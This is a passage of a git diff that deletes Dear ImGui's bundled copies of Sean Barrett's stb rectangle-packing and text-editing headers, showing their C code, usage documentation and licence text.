- STBRP_ASSERT(y <= best_y); - best_y = y; - best_waste = waste; - best = prev; - } - } - } - tail = tail->next; - } - } - - fr.prev_link = best; - fr.x = best_x; - fr.y = best_y; - return fr; -} - -static stbrp__findresult stbrp__skyline_pack_rectangle(stbrp_context *context, int width, int height) -{ - // find best position according to heuristic - stbrp__findresult res = stbrp__skyline_find_best_pos(context, width, height); - stbrp_node *node, *cur; - - // bail if: - // 1. it failed - // 2. the best node doesn't fit (we don't always check this) - // 3. we're out of memory - if (res.prev_link == NULL || res.y + height > context->height || context->free_head == NULL) { - res.prev_link = NULL; - return res; - } - - // on success, create new node - node = context->free_head; - node->x = (stbrp_coord) res.x; - node->y = (stbrp_coord) (res.y + height); - - context->free_head = node->next; - - // insert the new node into the right starting point, and - // let 'cur' point to the remaining nodes needing to be - // stiched back in - - cur = *res.prev_link; - if (cur->x < res.x) { - // preserve the existing one, so start testing with the next one - stbrp_node *next = cur->next; - cur->next = node; - cur = next; - } else { - *res.prev_link = node; - } - - // from here, traverse cur and free the nodes, until we get to one - // that shouldn't be freed - while (cur->next && cur->next->x <= res.x + width) { - stbrp_node *next = cur->next; - // move the current node to the free list - cur->next = context->free_head; - context->free_head = cur; - cur = next; - } - - // stitch the list back in - node->next = cur; - - if (cur->x < res.x + width) - cur->x = (stbrp_coord) (res.x + width); - -#ifdef _DEBUG - cur = context->active_head; - while (cur->x < context->width) { - STBRP_ASSERT(cur->x < cur->next->x); - cur = cur->next; - } - STBRP_ASSERT(cur->next == NULL); - - { - int count=0; - cur = context->active_head; - while (cur) { - cur = cur->next; - ++count; - } - cur = context->free_head; - while (cur) { - cur = cur->next; - ++count; - } - STBRP_ASSERT(count == context->num_nodes+2); - } -#endif - - return res; -} - -// [DEAR IMGUI] Added STBRP__CDECL -static int STBRP__CDECL rect_height_compare(const void *a, const void *b) -{ - const stbrp_rect *p = (const stbrp_rect *) a; - const stbrp_rect *q = (const stbrp_rect *) b; - if (p->h > q->h) - return -1; - if (p->h < q->h) - return 1; - return (p->w > q->w) ? -1 : (p->w < q->w); -} - -// [DEAR IMGUI] Added STBRP__CDECL -static int STBRP__CDECL rect_original_order(const void *a, const void *b) -{ - const stbrp_rect *p = (const stbrp_rect *) a; - const stbrp_rect *q = (const stbrp_rect *) b; - return (p->was_packed < q->was_packed) ? -1 : (p->was_packed > q->was_packed); -} - -#ifdef STBRP_LARGE_RECTS -#define STBRP__MAXVAL 0xffffffff -#else -#define STBRP__MAXVAL 0xffff -#endif - -STBRP_DEF int stbrp_pack_rects(stbrp_context *context, stbrp_rect *rects, int num_rects) -{ - int i, all_rects_packed = 1; - - // we use the 'was_packed' field internally to allow sorting/unsorting - for (i=0; i < num_rects; ++i) { - rects[i].was_packed = i; - } - - // sort according to heuristic - STBRP_SORT(rects, num_rects, sizeof(rects[0]), rect_height_compare); - - for (i=0; i < num_rects; ++i) { - if (rects[i].w == 0 || rects[i].h == 0) { - rects[i].x = rects[i].y = 0; // empty rect needs no space - } else { - stbrp__findresult fr = stbrp__skyline_pack_rectangle(context, rects[i].w, rects[i].h); - if (fr.prev_link) { - rects[i].x = (stbrp_coord) fr.x; - rects[i].y = (stbrp_coord) fr.y; - } else { - rects[i].x = rects[i].y = STBRP__MAXVAL; - } - } - } - - // unsort - STBRP_SORT(rects, num_rects, sizeof(rects[0]), rect_original_order); - - // set was_packed flags and all_rects_packed status - for (i=0; i < num_rects; ++i) { - rects[i].was_packed = !(rects[i].x == STBRP__MAXVAL && rects[i].y == STBRP__MAXVAL); - if (!rects[i].was_packed) - all_rects_packed = 0; - } - - // return the all_rects_packed status - return all_rects_packed; -} -#endif - -/* ------------------------------------------------------------------------------- -This software is available under 2 licenses -- choose whichever you prefer. ------------------------------------------------------------------------------- -ALTERNATIVE A - MIT License -Copyright (c) 2017 Sean Barrett -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies -of the Software, and to permit persons to whom the Software is furnished to do -so, subject to the following conditions: -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. ------------------------------------------------------------------------------- -ALTERNATIVE B - Public Domain (www.unlicense.org) -This is free and unencumbered software released into the public domain. -Anyone is free to copy, modify, publish, use, compile, sell, or distribute this -software, either in source code form or as a compiled binary, for any purpose, -commercial or non-commercial, and by any means. -In jurisdictions that recognize copyright laws, the author or authors of this -software dedicate any and all copyright interest in the software to the public -domain. We make this dedication for the benefit of the public at large and to -the detriment of our heirs and successors. We intend this dedication to be an -overt act of relinquishment in perpetuity of all present and future rights to -this software under copyright law. -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN -ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ------------------------------------------------------------------------------- -*/ diff --git a/demos/DemoImGui/imstb_textedit.h b/demos/DemoImGui/imstb_textedit.h deleted file mode 100644 index 7644670..0000000 --- a/demos/DemoImGui/imstb_textedit.h +++ /dev/null @@ -1,1447 +0,0 @@ -// [DEAR IMGUI] -// This is a slightly modified version of stb_textedit.h 1.13. -// Those changes would need to be pushed into nothings/stb: -// - Fix in stb_textedit_discard_redo (see https://github.com/nothings/stb/issues/321) -// Grep for [DEAR IMGUI] to find the changes. - -// stb_textedit.h - v1.13 - public domain - Sean Barrett -// Development of this library was sponsored by RAD Game Tools -// -// This C header file implements the guts of a multi-line text-editing -// widget; you implement display, word-wrapping, and low-level string -// insertion/deletion, and stb_textedit will map user inputs into -// insertions & deletions, plus updates to the cursor position, -// selection state, and undo state. -// -// It is intended for use in games and other systems that need to build -// their own custom widgets and which do not have heavy text-editing -// requirements (this library is not recommended for use for editing large -// texts, as its performance does not scale and it has limited undo). -// -// Non-trivial behaviors are modelled after Windows text controls. -// -// -// LICENSE -// -// See end of file for license information. -// -// -// DEPENDENCIES -// -// Uses the C runtime function 'memmove', which you can override -// by defining STB_TEXTEDIT_memmove before the implementation. -// Uses no other functions. Performs no runtime allocations. -// -// -// VERSION HISTORY -// -// 1.13 (2019-02-07) fix bug in undo size management -// 1.12 (2018-01-29) user can change STB_TEXTEDIT_KEYTYPE, fix redo to avoid crash -// 1.11 (2017-03-03) fix HOME on last line, dragging off single-line textfield -// 1.10 (2016-10-25) supress warnings about casting away const with -Wcast-qual -// 1.9 (2016-08-27) customizable move-by-word -// 1.8 (2016-04-02) better keyboard handling when mouse button is down -// 1.7 (2015-09-13) change y range handling in case baseline is non-0 -// 1.6 (2015-04-15) allow STB_TEXTEDIT_memmove -// 1.5 (2014-09-10) add support for secondary keys for OS X -// 1.4 (2014-08-17) fix signed/unsigned warnings -// 1.3 (2014-06-19) fix mouse clicking to round to nearest char boundary -// 1.2 (2014-05-27) fix some RAD types that had crept into the new code -// 1.1 (2013-12-15) move-by-word (requires STB_TEXTEDIT_IS_SPACE ) -// 1.0 (2012-07-26) improve documentation, initial public release -// 0.3 (2012-02-24) bugfixes, single-line mode; insert mode -// 0.2 (2011-11-28) fixes to undo/redo -// 0.1 (2010-07-08) initial version -// -// ADDITIONAL CONTRIBUTORS -// -// Ulf Winklemann: move-by-word in 1.1 -// Fabian Giesen: secondary key inputs in 1.5 -// Martins Mozeiko: STB_TEXTEDIT_memmove in 1.6 -// -// Bugfixes: -// Scott Graham -// Daniel Keller -// Omar Cornut -// Dan Thompson -// -// USAGE -// -// This file behaves differently depending on what symbols you define -// before including it. -// -// -// Header-file mode: -// -// If you do not define STB_TEXTEDIT_IMPLEMENTATION before including this, -// it will operate in "header file" mode. In this mode, it declares a -// single public symbol, STB_TexteditState, which encapsulates the current -// state of a text widget (except for the string, which you will store -// separately). -// -// To compile in this mode, you must define STB_TEXTEDIT_CHARTYPE to a -// primitive type that defines a single character (e.g. char, wchar_t, etc). -// -// To save space or increase undo-ability, you can optionally define the -// following things that are used by the undo system: -// -// STB_TEXTEDIT_POSITIONTYPE small int type encoding a valid cursor position -// STB_TEXTEDIT_UNDOSTATECOUNT the number of undo states to allow -// STB_TEXTEDIT_UNDOCHARCOUNT the number of characters to store in the undo buffer -// -// If you don't define these, they are set to permissive types and -// moderate sizes. The undo system does no memory allocations, so -// it grows STB_TexteditState by the worst-case storage which is (in bytes): -// -// [4 + 3 * sizeof(STB_TEXTEDIT_POSITIONTYPE)] * STB_TEXTEDIT_UNDOSTATE_COUNT -// + sizeof(STB_TEXTEDIT_CHARTYPE) * STB_TEXTEDIT_UNDOCHAR_COUNT -// -// -// Implementation mode: -// -// If you define STB_TEXTEDIT_IMPLEMENTATION before including this, it -// will compile the implementation of the text edit widget, depending -// on a large number of symbols which must be defined before the include. -// -// The implementation is defined only as static functions. You will then -// need to provide your own APIs in the same file which will access the -// static functions. -// -// The basic concept is that you provide a "string" object which -// behaves like an array of characters. stb_textedit uses indices to -// refer to positions in the string, implicitly representing positions -// in the displayed textedit. This is true for both plain text and -// rich text; even with rich text stb_truetype interacts with your -// code as if there was an array of all the displayed characters. -// -// Symbols that must be the same in header-file and implementation mode: -// -// STB_TEXTEDIT_CHARTYPE the character type -// STB_TEXTEDIT_POSITIONTYPE small type that is a valid cursor position -// STB_TEXTEDIT_UNDOSTATECOUNT the number of undo states to allow -// STB_TEXTEDIT_UNDOCHARCOUNT the number of characters to store in the undo buffer -// -// Symbols you must define for implementation mode: -// -// STB_TEXTEDIT_STRING the type of object representing a string being edited, -// typically this is a wrapper object with other data you need -// -// STB_TEXTEDIT_STRINGLEN(obj) the length of the string (ideally O(1)) -// STB_TEXTEDIT_LAYOUTROW(&r,obj,n) returns the results of laying out a line of characters -// starting from character #n (see discussion below) -// STB_TEXTEDIT_GETWIDTH(obj,n,i) returns the pixel delta from the xpos of the i'th character -// to the xpos of the i+1'th char for a line of characters -// starting at character #n (i.e. accounts for kerning -// with previous char) -// STB_TEXTEDIT_KEYTOTEXT(k) maps a keyboard input to an insertable character -// (return type is int, -1 means not valid to insert) -// STB_TEXTEDIT_GETCHAR(obj,i) returns the i'th character of obj, 0-based -// STB_TEXTEDIT_NEWLINE the character returned by _GETCHAR() we recognize -// as manually wordwrapping for end-of-line positioning -// -// STB_TEXTEDIT_DELETECHARS(obj,i,n) delete n characters starting at i -// STB_TEXTEDIT_INSERTCHARS(obj,i,c*,n) insert n characters at i (pointed to by STB_TEXTEDIT_CHARTYPE*) -// -// STB_TEXTEDIT_K_SHIFT a power of two that is or'd in to a keyboard input to represent the shift key -// -// STB_TEXTEDIT_K_LEFT keyboard input to move cursor left -// STB_TEXTEDIT_K_RIGHT keyboard input to move cursor right -// STB_TEXTEDIT_K_UP keyboard input to move cursor up -// STB_TEXTEDIT_K_DOWN keyboard input to move cursor down -// STB_TEXTEDIT_K_PGUP keyboard input to move cursor up a page -// STB_TEXTEDIT_K_PGDOWN keyboard input to move cursor down a page -// STB_TEXTEDIT_K_LINESTART keyboard input to move cursor to start of line // e.g. HOME -// STB_TEXTEDIT_K_LINEEND keyboard input to move cursor to end of line // e.g. END -// STB_TEXTEDIT_K_TEXTSTART keyboard input to move cursor to start of text // e.g. ctrl-HOME -// STB_TEXTEDIT_K_TEXTEND keyboard input to move cursor to end of text // e.g. ctrl-END -// STB_TEXTEDIT_K_DELETE keyboard input to delete selection or character under cursor -// STB_TEXTEDIT_K_BACKSPACE keyboard input to delete selection or character left of cursor -// STB_TEXTEDIT_K_UNDO keyboard input to perform undo -// STB_TEXTEDIT_K_REDO keyboard input to perform redo -// -// Optional: -// STB_TEXTEDIT_K_INSERT keyboard input to toggle insert mode -// STB_TEXTEDIT_IS_SPACE(ch) true if character is whitespace (e.g. 'isspace'), -// required for default WORDLEFT/WORDRIGHT handlers -// STB_TEXTEDIT_MOVEWORDLEFT(obj,i) custom handler for WORDLEFT, returns index to move cursor to -// STB_TEXTEDIT_MOVEWORDRIGHT(obj,i) custom handler for WORDRIGHT, returns index to move cursor to -// STB_TEXTEDIT_K_WORDLEFT keyboard input to move cursor left one word // e.g. ctrl-LEFT -// STB_TEXTEDIT_K_WORDRIGHT keyboard input to move cursor right one word // e.g. ctrl-RIGHT -// STB_TEXTEDIT_K_LINESTART2 secondary keyboard input to move cursor to start of line -// STB_TEXTEDIT_K_LINEEND2 secondary keyboard input to move cursor to end of line -// STB_TEXTEDIT_K_TEXTSTART2 secondary keyboard input to move cursor to start of text -// STB_TEXTEDIT_K_TEXTEND2 secondary keyboard input to move cursor to end of text -// -// Keyboard input must be encoded as a single integer value; e.g. a character code -// and some bitflags that represent shift states. to simplify the interface, SHIFT must -// be a bitflag, so we can test the shifted state of cursor movements to allow selection, -// i.e. (STB_TEXTEDIT_K_RIGHT|STB_TEXTEDIT_K_SHIFT) should be shifted right-arrow. -// -// You can encode other things, such as CONTROL or ALT, in additional bits, and -// then test for their presence in e.g. STB_TEXTEDIT_K_WORDLEFT. For example, -// my Windows implementations add an additional CONTROL bit, and an additional KEYDOWN -// bit. Then all of the STB_TEXTEDIT_K_ values bitwise-or in the KEYDOWN bit, -// and I pass both WM_KEYDOWN and WM_CHAR events to the "key" function in the -// API below. The control keys will only match WM_KEYDOWN events because of the -// keydown bit I add, and STB_TEXTEDIT_KEYTOTEXT only tests for the KEYDOWN -// bit so it only decodes WM_CHAR events. -// -// STB_TEXTEDIT_LAYOUTROW returns information about the shape of one displayed -// row of characters assuming they start on the i'th character--the width and -// the height and the number of characters consumed. This allows this library -// to traverse the entire layout incrementally. You need to compute word-wrapping -// here. -// -// Each textfield keeps its own insert mode state, which is not how normal -// applications work. To keep an app-wide insert mode, update/copy the -// "insert_mode" field of STB_TexteditState before/after calling API functions. -// -// API -// -// void stb_textedit_initialize_state(STB_TexteditState *state, int is_single_line) -// -// void stb_textedit_click(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, float x, float y) -// void stb_textedit_drag(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, float x, float y) -// int stb_textedit_cut(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) -// int stb_textedit_paste(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, STB_TEXTEDIT_CHARTYPE *text, int len) -// void stb_textedit_key(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, STB_TEXEDIT_KEYTYPE key) -// -// Each of these functions potentially updates the string and updates the -// state. -// -// initialize_state: -// set the textedit state to a known good default state when initially -// constructing the textedit. -// -// click: -// call this with the mouse x,y on a mouse down; it will update the cursor -// and reset the selection start/end to the cursor point. the x,y must -// be relative to the text widget, with (0,0) being the top left. -// -// drag: -// call this with the mouse x,y on a mouse drag/up; it will update the -// cursor and the selection end point -// -// cut: -// call this to delete the current selection; returns true if there was -// one. you should FIRST copy the current selection to the system paste buffer. -// (To copy, just copy the current selection out of the string yourself.) -// -// paste: -// call this to paste text at the current cursor point or over the current -// selection if there is one. -// -// key: -// call this for keyboard inputs sent to the textfield. you can use it -// for "key down" events or for "translated" key events. if you need to -// do both (as in Win32), or distinguish Unicode characters from control -// inputs, set a high bit to distinguish the two; then you can define the -// various definitions like STB_TEXTEDIT_K_LEFT have the is-key-event bit -// set, and make STB_TEXTEDIT_KEYTOCHAR check that the is-key-event bit is -// clear. STB_TEXTEDIT_KEYTYPE defaults to int, but you can #define it to -// anything other type you wante before including. -// -// -// When rendering, you can read the cursor position and selection state from -// the STB_TexteditState. -// -// -// Notes: -// -// This is designed to be usable in IMGUI, so it allows for the possibility of -// running in an IMGUI that has NOT cached the multi-line layout. For this -// reason, it provides an interface that is compatible with computing the -// layout incrementally--we try to make sure we make as few passes through -// as possible. (For example, to locate the mouse pointer in the text, we -// could define functions that return the X and Y positions of characters -// and binary search Y and then X, but if we're doing dynamic layout this -// will run the layout algorithm many times, so instead we manually search -// forward in one pass. Similar logic applies to e.g. up-arrow and -// down-arrow movement.) -// -// If it's run in a widget that *has* cached the layout, then this is less -// efficient, but it's not horrible on modern computers. But you wouldn't -// want to edit million-line files with it. - - -//////////////////////////////////////////////////////////////////////////// -//////////////////////////////////////////////////////////////////////////// -//// -//// Header-file mode -//// -//// - -#ifndef INCLUDE_STB_TEXTEDIT_H -#define INCLUDE_STB_TEXTEDIT_H - -//////////////////////////////////////////////////////////////////////// -// -// STB_TexteditState -// -// Definition of STB_TexteditState which you should store -// per-textfield; it includes cursor position, selection state, -// and undo state. -// - -#ifndef STB_TEXTEDIT_UNDOSTATECOUNT -#define STB_TEXTEDIT_UNDOSTATECOUNT 99 -#endif -#ifndef STB_TEXTEDIT_UNDOCHARCOUNT -#define STB_TEXTEDIT_UNDOCHARCOUNT 999 -#endif -#ifndef STB_TEXTEDIT_CHARTYPE -#define STB_TEXTEDIT_CHARTYPE int -#endif -#ifndef STB_TEXTEDIT_POSITIONTYPE -#define STB_TEXTEDIT_POSITIONTYPE int -#endif - -typedef struct -{ - // private data - STB_TEXTEDIT_POSITIONTYPE where; - STB_TEXTEDIT_POSITIONTYPE insert_length; - STB_TEXTEDIT_POSITIONTYPE delete_length; - int char_storage; -} StbUndoRecord; - -typedef struct -{ - // private data - StbUndoRecord undo_rec [STB_TEXTEDIT_UNDOSTATECOUNT]; - STB_TEXTEDIT_CHARTYPE undo_char[STB_TEXTEDIT_UNDOCHARCOUNT]; - short undo_point, redo_point; - int undo_char_point, redo_char_point; -} StbUndoState; - -typedef struct -{ - ///////////////////// - // - // public data - // - - int cursor; - // position of the text cursor within the string - - int select_start; // selection start point - int select_end; - // selection start and end point in characters; if equal, no selection. - // note that start may be less than or greater than end (e.g. when - // dragging the mouse, start is where the initial click was, and you - // can drag in either direction) - - unsigned char insert_mode; - // each textfield keeps its own insert mode state. to keep an app-wide - // insert mode, copy this value in/out of the app state - - int row_count_per_page; - // page size in number of row. - // this value MUST be set to >0 for pageup or pagedown in multilines documents. - - ///////////////////// - // - // private data - // - unsigned char cursor_at_end_of_line; // not implemented yet - unsigned char initialized; - unsigned char has_preferred_x; - unsigned char single_line; - unsigned char padding1, padding2, padding3; - float preferred_x; // this determines where the cursor up/down tries to seek to along x - StbUndoState undostate; -} STB_TexteditState; - - -//////////////////////////////////////////////////////////////////////// -// -// StbTexteditRow -// -// Result of layout query, used by stb_textedit to determine where -// the text in each row is. - -// result of layout query -typedef struct -{ - float x0,x1; // starting x location, end x location (allows for align=right, etc) - float baseline_y_delta; // position of baseline relative to previous row's baseline - float ymin,ymax; // height of row above and below baseline - int num_chars; -} StbTexteditRow; -#endif //INCLUDE_STB_TEXTEDIT_H - - -//////////////////////////////////////////////////////////////////////////// -//////////////////////////////////////////////////////////////////////////// -//// -//// Implementation mode -//// -//// - - -// implementation isn't include-guarded, since it might have indirectly -// included just the "header" portion -#ifdef STB_TEXTEDIT_IMPLEMENTATION - -#ifndef STB_TEXTEDIT_memmove -#include -#define STB_TEXTEDIT_memmove memmove -#endif - - -///////////////////////////////////////////////////////////////////////////// -// -// Mouse input handling -// - -// traverse the layout to locate the nearest character to a display position -static int stb_text_locate_coord(STB_TEXTEDIT_STRING *str, float x, float y) -{ - StbTexteditRow r; - int n = STB_TEXTEDIT_STRINGLEN(str); - float base_y = 0, prev_x; - int i=0, k; - - r.x0 = r.x1 = 0; - r.ymin = r.ymax = 0; - r.num_chars = 0; - - // search rows to find one that straddles 'y' - while (i < n) { - STB_TEXTEDIT_LAYOUTROW(&r, str, i); - if (r.num_chars <= 0) - return n; - - if (i==0 && y < base_y + r.ymin) - return 0; - - if (y < base_y + r.ymax) - break; - - i += r.num_chars; - base_y += r.baseline_y_delta; - } - - // below all text, return 'after' last character - if (i >= n) - return n; - - // check if it's before the beginning of the line - if (x < r.x0) - return i; - - // check if it's before the end of the line - if (x < r.x1) { - // search characters in row for one that straddles 'x' - prev_x = r.x0; - for (k=0; k < r.num_chars; ++k) { - float w = STB_TEXTEDIT_GETWIDTH(str, i, k); - if (x < prev_x+w) { - if (x < prev_x+w/2) - return k+i; - else - return k+i+1; - } - prev_x += w; - } - // shouldn't happen, but if it does, fall through to end-of-line case - } - - // if the last character is a newline, return that. otherwise return 'after' the last character - if (STB_TEXTEDIT_GETCHAR(str, i+r.num_chars-1) == STB_TEXTEDIT_NEWLINE) - return i+r.num_chars-1; - else - return i+r.num_chars; -} - -// API click: on mouse down, move the cursor to the clicked location, and reset the selection -static void stb_textedit_click(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, float x, float y) -{ - // In single-line mode, just always make y = 0. This lets the drag keep working if the mouse - // goes off the top or bottom of the text - if( state->single_line ) - { - StbTexteditRow r; - STB_TEXTEDIT_LAYOUTROW(&r, str, 0); - y = r.ymin; - } - - state->cursor = stb_text_locate_coord(str, x, y); - state->select_start = state->cursor; - state->select_end = state->cursor; - state->has_preferred_x = 0; -} - -// API drag: on mouse drag, move the cursor and selection endpoint to the clicked location -static void stb_textedit_drag(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, float x, float y) -{ - int p = 0; - - // In single-line mode, just always make y = 0. This lets the drag keep working if the mouse - // goes off the top or bottom of the text - if( state->single_line ) - { - StbTexteditRow r; - STB_TEXTEDIT_LAYOUTROW(&r, str, 0); - y = r.ymin; - } - - if (state->select_start == state->select_end) - state->select_start = state->cursor; - - p = stb_text_locate_coord(str, x, y); - state->cursor = state->select_end = p; -} - -///////////////////////////////////////////////////////////////////////////// -// -// Keyboard input handling -// - -// forward declarations -static void stb_text_undo(STB_TEXTEDIT_STRING *str, STB_TexteditState *state); -static void stb_text_redo(STB_TEXTEDIT_STRING *str, STB_TexteditState *state); -static void stb_text_makeundo_delete(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, int where, int length); -static void stb_text_makeundo_insert(STB_TexteditState *state, int where, int length); -static void stb_text_makeundo_replace(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, int where, int old_length, int new_length); - -typedef struct -{ - float x,y; // position of n'th character - float height; // height of line - int first_char, length; // first char of row, and length - int prev_first; // first char of previous row -} StbFindState; - -// find the x/y location of a character, and remember info about the previous row in -// case we get a move-up event (for page up, we'll have to rescan) -static void stb_textedit_find_charpos(StbFindState *find, STB_TEXTEDIT_STRING *str, int n, int single_line) -{ - StbTexteditRow r; - int prev_start = 0; - int z = STB_TEXTEDIT_STRINGLEN(str); - int i=0, first; - - if (n == z) { - // if it's at the end, then find the last line -- simpler than trying to - // explicitly handle this case in the regular code - if (single_line) { - STB_TEXTEDIT_LAYOUTROW(&r, str, 0); - find->y = 0; - find->first_char = 0; - find->length = z; - find->height = r.ymax - r.ymin; - find->x = r.x1; - } else { - find->y = 0; - find->x = 0; - find->height = 1; - while (i < z) { - STB_TEXTEDIT_LAYOUTROW(&r, str, i); - prev_start = i; - i += r.num_chars; - } - find->first_char = i; - find->length = 0; - find->prev_first = prev_start; - } - return; - } - - // search rows to find the one that straddles character n - find->y = 0; - - for(;;) { - STB_TEXTEDIT_LAYOUTROW(&r, str, i); - if (n < i + r.num_chars) - break; - prev_start = i; - i += r.num_chars; - find->y += r.baseline_y_delta; - } - - find->first_char = first = i; - find->length = r.num_chars; - find->height = r.ymax - r.ymin; - find->prev_first = prev_start; - - // now scan to find xpos - find->x = r.x0; - for (i=0; first+i < n; ++i) - find->x += STB_TEXTEDIT_GETWIDTH(str, first, i); -} - -#define STB_TEXT_HAS_SELECTION(s) ((s)->select_start != (s)->select_end) - -// make the selection/cursor state valid if client altered the string -static void stb_textedit_clamp(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) -{ - int n = STB_TEXTEDIT_STRINGLEN(str); - if (STB_TEXT_HAS_SELECTION(state)) { - if (state->select_start > n) state->select_start = n; - if (state->select_end > n) state->select_end = n; - // if clamping forced them to be equal, move the cursor to match - if (state->select_start == state->select_end) - state->cursor = state->select_start; - } - if (state->cursor > n) state->cursor = n; -} - -// delete characters while updating undo -static void stb_textedit_delete(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, int where, int len) -{ - stb_text_makeundo_delete(str, state, where, len); - STB_TEXTEDIT_DELETECHARS(str, where, len); - state->has_preferred_x = 0; -} - -// delete the section -static void stb_textedit_delete_selection(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) -{ - stb_textedit_clamp(str, state); - if (STB_TEXT_HAS_SELECTION(state)) { - if (state->select_start < state->select_end) { - stb_textedit_delete(str, state, state->select_start, state->select_end - state->select_start); - state->select_end = state->cursor = state->select_start; - } else { - stb_textedit_delete(str, state, state->select_end, state->select_start - state->select_end); - state->select_start = state->cursor = state->select_end; - } - state->has_preferred_x = 0; - } -} - -// canoncialize the selection so start <= end -static void stb_textedit_sortselection(STB_TexteditState *state) -{ - if (state->select_end < state->select_start) { - int temp = state->select_end; - state->select_end = state->select_start; - state->select_start = temp; - } -} - -// move cursor to first character of selection -static void stb_textedit_move_to_first(STB_TexteditState *state) -{ - if (STB_TEXT_HAS_SELECTION(state)) { - stb_textedit_sortselection(state); - state->cursor = state->select_start; - state->select_end = state->select_start; - state->has_preferred_x = 0; - } -} - -// move cursor to last character of selection -static void stb_textedit_move_to_last(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) -{ - if (STB_TEXT_HAS_SELECTION(state)) { - stb_textedit_sortselection(state); - stb_textedit_clamp(str, state); - state->cursor = state->select_end; - state->select_start = state->select_end; - state->has_preferred_x = 0; - } -} - -#ifdef STB_TEXTEDIT_IS_SPACE -static int is_word_boundary( STB_TEXTEDIT_STRING *str, int idx ) -{ - return idx > 0 ? (STB_TEXTEDIT_IS_SPACE( STB_TEXTEDIT_GETCHAR(str,idx-1) ) && !STB_TEXTEDIT_IS_SPACE( STB_TEXTEDIT_GETCHAR(str, idx) ) ) : 1; -} - -#ifndef STB_TEXTEDIT_MOVEWORDLEFT -static int stb_textedit_move_to_word_previous( STB_TEXTEDIT_STRING *str, int c ) -{ - --c; // always move at least one character - while( c >= 0 && !is_word_boundary( str, c ) ) - --c; - - if( c < 0 ) - c = 0; - - return c; -} -#define STB_TEXTEDIT_MOVEWORDLEFT stb_textedit_move_to_word_previous -#endif - -#ifndef STB_TEXTEDIT_MOVEWORDRIGHT -static int stb_textedit_move_to_word_next( STB_TEXTEDIT_STRING *str, int c ) -{ - const int len = STB_TEXTEDIT_STRINGLEN(str); - ++c; // always move at least one character - while( c < len && !is_word_boundary( str, c ) ) - ++c; - - if( c > len ) - c = len; - - return c; -} -#define STB_TEXTEDIT_MOVEWORDRIGHT stb_textedit_move_to_word_next -#endif - -#endif - -// update selection and cursor to match each other -static void stb_textedit_prep_selection_at_cursor(STB_TexteditState *state) -{ - if (!STB_TEXT_HAS_SELECTION(state)) - state->select_start = state->select_end = state->cursor; - else - state->cursor = state->select_end; -} - -// API cut: delete selection -static int stb_textedit_cut(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) -{ - if (STB_TEXT_HAS_SELECTION(state)) { - stb_textedit_delete_selection(str,state); // implicitly clamps - state->has_preferred_x = 0; - return 1; - } - return 0; -} - -// API paste: replace existing selection with passed-in text -static int stb_textedit_paste_internal(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, STB_TEXTEDIT_CHARTYPE *text, int len) -{ - // if there's a selection, the paste should delete it - stb_textedit_clamp(str, state); - stb_textedit_delete_selection(str,state); - // try to insert the characters - if (STB_TEXTEDIT_INSERTCHARS(str, state->cursor, text, len)) { - stb_text_makeundo_insert(state, state->cursor, len); - state->cursor += len; - state->has_preferred_x = 0; - return 1; - } - // remove the undo since we didn't actually insert the characters - if (state->undostate.undo_point) - --state->undostate.undo_point; - return 0; -} - -#ifndef STB_TEXTEDIT_KEYTYPE -#define STB_TEXTEDIT_KEYTYPE int -#endif - -// API key: process a keyboard input -static void stb_textedit_key(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, STB_TEXTEDIT_KEYTYPE key) -{ -retry: - switch (key) { - default: { - int c = STB_TEXTEDIT_KEYTOTEXT(key); - if (c > 0) { - STB_TEXTEDIT_CHARTYPE ch = (STB_TEXTEDIT_CHARTYPE) c; - - // can't add newline in single-line mode - if (c == '\n' && state->single_line) - break; - - if (state->insert_mode && !STB_TEXT_HAS_SELECTION(state) && state->cursor < STB_TEXTEDIT_STRINGLEN(str)) { - stb_text_makeundo_replace(str, state, state->cursor, 1, 1); - STB_TEXTEDIT_DELETECHARS(str, state->cursor, 1); - if (STB_TEXTEDIT_INSERTCHARS(str, state->cursor, &ch, 1)) { - ++state->cursor; - state->has_preferred_x = 0; - } - } else { - stb_textedit_delete_selection(str,state); // implicitly clamps - if (STB_TEXTEDIT_INSERTCHARS(str, state->cursor, &ch, 1)) { - stb_text_makeundo_insert(state, state->cursor, 1); - ++state->cursor; - state->has_preferred_x = 0; - } - } - } - break; - } - -#ifdef STB_TEXTEDIT_K_INSERT - case STB_TEXTEDIT_K_INSERT: - state->insert_mode = !state->insert_mode; - break; -#endif - 